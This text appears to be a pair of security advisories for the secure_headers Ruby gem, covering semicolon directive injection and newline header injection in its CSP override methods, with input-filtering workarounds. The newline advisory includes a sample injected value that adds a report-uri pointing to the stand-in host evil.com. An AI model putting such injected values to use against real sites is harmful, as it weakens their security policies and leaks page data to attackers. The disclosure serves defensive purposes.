Package Instance

secure_headers directive injection using semicolon
If user-supplied input was passed into append/override_content_security_policy_directives,
a semicolon could be injected leading to directive injection.

This could be used to e.g. override a script-src directive. Duplicate directives are ignored
and the first one wins. The directives in secure_headers are sorted alphabetically so they
pretty much all come before script-src. A previously undefined directive would receive a value
even if SecureHeaders::OPT_OUT was supplied.

The fixed versions will silently convert the semicolons to spaces and emit a deprecation warning
when this happens. This will result in innocuous browser console messages if being
exploited/accidentally used. In future releases, we will raise application errors resulting in
500s.

> Duplicate script-src directives detected. All but the first instance will be ignored.

See https://www.w3.org/TR/CSP3/#parse-serialized-policy

> Note: In this case, the user agent SHOULD notify developers that a duplicate directive was
> ignored. A console warning might be appropriate, for example.

# Workarounds

If you are passing user input into the above methods, you could filter out the input:

```
override_content_security_policy_directives(:frame_src, [user_input.gsub(";", " ")])
```

secure_headers header injection due to newline
If user-supplied input was passed into append/override_content_security_policy_directives,
a newline could be injected leading to limited header injection.

Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy
header with the remaining value of the original string. It will continue to create new headers
for each newline.

e.g.

```
override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])
```

would result in

```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header
```

CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:

```
override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"])
```

```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header
```

Workarounds
```
override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])
```